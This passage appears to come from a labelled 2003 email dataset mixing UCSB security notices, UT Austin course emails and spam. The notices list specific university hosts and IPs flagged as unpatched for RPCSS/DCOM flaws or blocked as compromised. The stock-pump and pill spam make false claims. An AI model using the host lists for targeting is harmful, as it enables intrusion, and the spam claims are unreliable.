Vulnerable] 128.111.38.201 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.211 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.238 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.42 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.169 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.172 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.208 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.214 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.94 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.186 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.47 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.72.143 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.91 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.162 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.76.98 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.194 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.217 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.16 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.82.180 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.83.195 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.92.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.24 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.109.160 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.112.13 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.147.3 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.70 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.193 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.220 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.226 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.231 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.25 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.181.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.207 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.87 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.182.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.192.37 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.192.57 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.43 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.209 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.9 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.197.71 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.198.207 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.209.154 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.220.136 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.234.160 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.7 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.250 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.43 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.67 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.123 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.194 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 47 RPCSS Vulnerable ............................. 94 DCOM Disabled ................................ 69 Not Vulnerable ............................... 3097 Errors ....................................... 13 TCP Port 135 Closed or Host Timeout .......... 62042 TOTAL HOSTS SCANNED .......................... 65315 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Mon, 20 Oct 2003 13:04:52 -0500",more questions," > For LSH and ASH immediate, the sign of the immediate determines whether > to shift right or left??? Yes - if the immediate is negative, shift right. In fact, you don't have to worry about whether it is an immediate or non-immediate instruction - op2 is created outside the ALU. > For LEA, LD, LDR, ST, STR, BR, JMP, JSR, do we assume that op1 is PC and > op2 is the signed-extended or zero-extended offset??? Yes - assume the op1 is PC, and op2 is the offset. However, I think the immediate for all the instructions you mentioned are sign-extended. > For Trap, what are we doing if we are suppose doing anything??? If we > assume the value has already been sign-extended, then we can just pass it > along to memory, right??? @_@ The TRAP instruction for the LC3 is supposed to create an address with the top 8 bits zero and the bottom 8 bits the 8 bit trap vector (remember this from the LC-2?). I've been assuming that the trap vector comes in on op2, rather than op1 - but you should state your assumptions. > For the AND and the OR instruction do we assume the > imm field is sign extended or zero extended. If it is sign extended do we > have to force the rest of the upper msb which are [15:5] to 0 just as in > the trap instruction? Assume that these are sign extended all the way to 16 bits (just like the LC-2 did for AND). Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Tue, 21 Oct 2003 18:19:35 -0500",readings," CS352H-ers, On thursday I will be talking more about the project assignment and about pair programming. Please make sure to read the pair programming paper that I handed out a couple of weeks ago. If you need a copy, you can find it outside my assistants door - ACES 3.422. Also, please read the papers on caching and VM that I handed out in class by next Tuesday (Oct. 28 - there may be a pop quiz at the beginning of class). Cheers, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ",0,1 Chester Whitaker ,rwebbink@ncsa.uiuc.edu,"Thu, 23 Oct 2003 03:25:11 -0500",US Stock Market: TRHL - Last Pick From .45 to 1.18...carmela,"UPSIDE INTERNATIONAL - Searching Out Stocks with Big Upside Potential...that have gone unnoticed until now. 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This reflects the growth in the business over the past year. scpmbqpioa q c ncsch y aeopq pi ",1,0 ,,,,"] (helo=han.isotropy.dearriba.com) by smtp2.cistron.nl with esmtp (vee 3.35 #1 (solicitor)) id 736LFL-0066PT-86 Message-ID: <08453193144732.R37410@madras.noc.amongst.gr> Sender: freeradius-devel-CMUYAZR@simcoecounty.com X-Mailman-Version: 2.0.1 Date: Thu, 23 Oct 2003 03:40:22 -0200 From: ""Lorna Mcgill"" To: XXX@XXXXXXXX.XXXXXXX.XXX Subject: Lycos -Icrease Your Sexual Desire and Sperm volume by 500% -Longer orgasms - The longest most intense orgasms of your life -Rock hard erections - Erections like steel -Ejaculate like a porn star - Stronger ejaculation -Multiple orgasms - Cum again and again -SPUR-M is The Newest and The Safest Way of Pharmacy -100% Natural and No Side Effects - in contrast to well-known brands. -Experience three times longer orgasms -World Wide shipping within 24 hours Clisk here http://www.dcbentnails.info farm plan monogamous raspberry acton collapse immigrate adopt cloddish bubble mink auntie catalogue brigham liken who abscissa curiosity symbiotic bitumen armature objectivity provide ready approximate rankin counterpoise providential agglutinin stipend lizzie errancy timid utile refract except emission laban concerti ii newcomer harm arden a breakaway electroencephalography bosonic octennial croupier appointe carthaginian decollimate seafare ineducable",1,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Thu, 23 Oct 2003 13:28:31 -0500",HW #4," CS352h-ers, I've made all of the files available for the implementation, but I've got a minor bug I need to fix before you get started. I'll let you know in a few hours when you can download and get going. Cheers, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id PAA16328 for ; Thu, 23 Oct 2003 15:35:32 -0700 (PDT) Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id PAA09534 for ; Thu, 23 Oct 2003 15:35:31 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1ACo3C-000D5D-1K; Thu, 23 Oct 2003 15:35:26 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1ACo39-000D52-O5; Thu, 23 Oct 2003 15:35:23 -0700 Received: from security3.oit.ucsb.edu ([128.111.12.28] helo=[192.168.1.100]) by smtp.ucsb.edu with asmtp TLSv1:DES-CBC3-SHA:168 id 1ACo38-000D4u-Hl; Thu, 23 Oct 2003 15:35:22 -0700 Date: Thu, 23 Oct 2003 15:35:20 -0700 From: E. Todd Atkins To: security-microsoft@ucsb.edu, csf@ucsb.edu Message-ID: <449260000.1066948520@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [CSF] Blocked Hosts (and those to be blocked soon) X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *1ACo3C-000D5D-1K*5oX0guLeBn2* Hello, You can find a ""blocked hosts"" list as well as a ""unpatched hosts"" lists further down in this message. Beginning October 30 (Thursday), hosts that have been on the ""unpatched hosts"" list for more than one week will be blocked in order to prevent their involvement in any new security incidents. We felt compelled to do this because patches for these vulnerabilities have been available for quite some time, hosts in our domain are being scanned for these vulnerabilities by potential intruders, and system compromises have occurred due to lack of patching. Here is what you need to do if your host is in the ""blocked hosts"" list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Blocked Hosts *** 128.111.9.211 dhcp211.itp.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.29.25 meppc6.engr.ucsb.edu 128.111.29.26 128.111.29.39 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.39.59 SM3959.resnet.ucsb.edu 128.111.57.44 starbucks.ece.ucsb.edu 128.111.58.215 srpan.ece.ucsb.edu 128.111.58.220 dhcp58-220.ece.ucsb.edu 128.111.74.85 davidmac.materials.ucsb.edu 128.111.74.249 128.111.77.82 theomac.crss.ucsb.edu 128.111.77.107 das.crss.ucsb.edu 128.111.81.36 pulse.ucen.ucsb.edu 128.111.82.14 connerjs.chemengr.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.140 peleg.chemengr.ucsb.edu 128.111.92.216 128.111.96.40 coll02.alexandria.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.103.29 trout.opl.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.104.172 keyhole.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.243 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.156 host108-156.lsdepts.ucsb.edu 128.111.108.164 host108-164.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.138.160 128.111.142.7 128.111.142.55 128.111.145.181 128.111.162.148 128.111.164.209 turtle.mee.ucsb.edu 128.111.165.27 host165-27.lsdepts.ucsb.edu 128.111.229.220 128.111.234.239 sylvey.geog.ucsb.edu 128.111.247.62 128.111.247.63 *** Unpatched hosts *** 128.111.9.214 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.114 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.117 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.148 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.149 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.151 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.152 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.153 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.15 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.44 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.114 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.224 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.165 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.81 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.120 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.34.127 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.246 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.93 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.192 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.243 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.63 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.148 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.38.187 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.201 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.211 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.238 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.42 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.95 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.171 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.172 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.208 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.214 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.201 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.71.94 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.186 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.47 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.72.143 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.73.199 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.246 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.74.137 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.17 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.162 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.217 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.52 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.81.176 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.83.195 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.26 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.160 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.112.13 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.147.3 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.70 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.182 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.193 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.203 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.231 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.188 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.205 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.75 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.84 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.222 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.108 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.192.37 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.195.163 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.251 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.196.76 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.197.9 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.197.71 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.197.177 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.197.189 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.198.207 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.202.228 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.209.154 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.220.91 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.136 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.234.23 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.234.160 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.7 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.250 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.43 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.67 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.96 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.123 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.194 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] *** Statistics *** Blocked Hosts ................................ 45 RPCSS Vulnerable ............................. 104 DCOM Disabled ................................ 72 Not Vulnerable ............................... 3394 Errors ....................................... 12 TCP Port 135 Closed or Host Timeout .......... 61954 TOTAL HOSTS SCANNED .......................... 65536 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Thu, 23 Oct 2003 15:49:14 -0500",LC35," Ok - the LC35 stuff is up and ready to roll (I hadn't uploaded the correct version of the fib.asm program). Check out: http://www.cs.utexas.edu/users/skeckler/cs352h/homework/hw.html for all of the details. Cheers, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id OAA31860 for ; Fri, 24 Oct 2003 14:57:37 -0700 (PDT) Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id OAA20153 for ; Fri, 24 Oct 2003 14:57:37 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1AD9w8-000NeT-CY; Fri, 24 Oct 2003 14:57:36 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1AD9w4-000Ndt-4l; Fri, 24 Oct 2003 14:57:32 -0700 Received: from security3.oit.ucsb.edu ([128.111.12.28]) by smtp.ucsb.edu with asmtp TLSv1:DES-CBC3-SHA:168 id 1AD9w3-000Ndj-W8; Fri, 24 Oct 2003 14:57:32 -0700 Date: Fri, 24 Oct 2003 14:57:31 -0700 From: E. Todd Atkins To: security-microsoft@ucsb.edu, csf@ucsb.edu Message-ID: <126780000.1067032651@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [CSF] Blocked Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *1AD9w8-000NeT-CY*bjvvRXvLTPM* Hello, Due to the large number of hosts that are either compromised or infected with one of the Microsoft Windows based worms, I will periodically send this announcement about hosts whose traffic is being blocked in order to suppress our involvement in the spreading of these worms as well as any other potentially malicious activity. Here is what you need to do if your host is in the list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here is the list of the 45 blocked hosts: 128.111.9.211 dhcp211.itp.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.29.25 meppc6.engr.ucsb.edu 128.111.29.26 128.111.29.39 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.39.59 SM3959.resnet.ucsb.edu 128.111.57.44 starbucks.ece.ucsb.edu 128.111.58.215 srpan.ece.ucsb.edu 128.111.72.202 abaqus.materials.ucsb.edu 128.111.74.85 davidmac.materials.ucsb.edu 128.111.74.249 128.111.77.82 theomac.crss.ucsb.edu 128.111.77.107 das.crss.ucsb.edu 128.111.81.36 pulse.ucen.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.140 peleg.chemengr.ucsb.edu 128.111.92.216 128.111.103.21 otter.opl.ucsb.edu 128.111.103.29 trout.opl.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.104.172 keyhole.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.243 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.156 host108-156.lsdepts.ucsb.edu 128.111.108.164 host108-164.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.138.160 128.111.142.170 128.111.142.208 128.111.159.149 128.111.159.150 128.111.159.156 128.111.159.163 128.111.164.209 turtle.mee.ucsb.edu 128.111.165.27 host165-27.lsdepts.ucsb.edu 128.111.229.220 128.111.234.239 sylvey.geog.ucsb.edu 128.111.247.62 128.111.247.63 Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ 